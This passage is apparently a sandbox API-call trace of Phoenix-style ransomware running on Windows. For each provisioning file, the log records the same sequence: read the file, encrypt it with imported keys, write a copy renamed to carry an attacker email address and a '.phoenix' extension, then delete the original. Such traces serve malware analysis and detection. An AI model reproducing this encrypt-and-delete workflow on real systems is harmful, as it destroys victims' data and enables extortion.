	[0258.109] CryptDestroyKey (hKey=0x151140) returned 1
	[0258.109] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0258.109] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.109] CloseHandle (hObject=0x2d0) returned 1
	[0258.109] CloseHandle (hObject=0x2c0) returned 1
	[0258.110] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\701__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0258.110] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.110] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\702__connections_cellular_3 (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.111] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=709) returned 1
	[0258.111] CloseHandle (hObject=0x2c0) returned 1
	[0258.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\702__connections_cellular_3 (italy)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\702__connections_cellular_3 (italy)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.112] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\702__connections_cellular_3 (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.112] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.112] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.112] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\702__connections_cellular_3 (italy)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.112] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151540) returned 1
	[0258.112] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.112] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c5, lpOverlapped=0x0) returned 1
	[0258.114] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0258.114] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0258.114] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0258.115] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.115] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0258.115] CryptDestroyKey (hKey=0x151340) returned 1
	[0258.115] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0258.115] CryptDestroyKey (hKey=0x151540) returned 1
	[0258.115] CloseHandle (hObject=0x2c0) returned 1
	[0258.115] CloseHandle (hObject=0x2d0) returned 1
	[0258.115] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\702__connections_cellular_3 (italy)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.116] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.116] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\703__connections_cellular_3 (italy)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.116] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=705) returned 1
	[0258.116] CloseHandle (hObject=0x2d0) returned 1
	[0258.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\703__connections_cellular_3 (italy)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0258.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\703__connections_cellular_3 (italy)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.117] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\703__connections_cellular_3 (italy)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.117] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.117] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.117] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\703__connections_cellular_3 (italy)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.117] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0258.117] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.117] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c1, lpOverlapped=0x0) returned 1
	[0258.119] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0258.119] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0258.119] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0258.119] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.119] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0258.119] CryptDestroyKey (hKey=0x151180) returned 1
	[0258.120] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0258.120] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0258.120] CloseHandle (hObject=0x2d0) returned 1
	[0258.120] CloseHandle (hObject=0x2c0) returned 1
	[0258.120] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\703__connections_cellular_3 (italy)_i1$(__mvid)@wap.provxml")) returned 1
	[0258.121] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.121] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\704__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.121] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=451) returned 1
	[0258.121] CloseHandle (hObject=0x2c0) returned 1
	[0258.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\704__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0258.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\704__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.122] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\704__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.122] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.122] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.122] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\704__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.122] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151340) returned 1
	[0258.122] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.122] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1c3, lpOverlapped=0x0) returned 1
	[0258.123] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0258.123] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0258.124] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0258.124] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.124] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0258.124] CryptDestroyKey (hKey=0x151380) returned 1
	[0258.124] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0258.124] CryptDestroyKey (hKey=0x151340) returned 1
	[0258.124] CloseHandle (hObject=0x2c0) returned 1
	[0258.124] CloseHandle (hObject=0x2d0) returned 1
	[0258.124] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\704__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0258.125] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.125] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\705__connections_cellular_fastweb (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.126] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=714) returned 1
	[0258.126] CloseHandle (hObject=0x2d0) returned 1
	[0258.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\705__connections_cellular_fastweb (italy)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\705__connections_cellular_fastweb (italy)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.126] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\705__connections_cellular_fastweb (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.126] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.126] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.126] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\705__connections_cellular_fastweb (italy)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.127] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0258.127] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.127] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2ca, lpOverlapped=0x0) returned 1
	[0258.173] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0258.173] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0258.423] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0258.423] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.423] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0258.423] CryptDestroyKey (hKey=0x151480) returned 1
	[0258.423] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0258.423] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.423] CloseHandle (hObject=0x2d0) returned 1
	[0258.423] CloseHandle (hObject=0x2c0) returned 1
	[0258.423] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\705__connections_cellular_fastweb (italy)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.424] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.424] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\706__connections_cellular_fastweb (italy)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.425] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=709) returned 1
	[0258.425] CloseHandle (hObject=0x2c0) returned 1
	[0258.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\706__connections_cellular_fastweb (italy)_i1$(__mvid)@wap.provxml")) returned 0x20
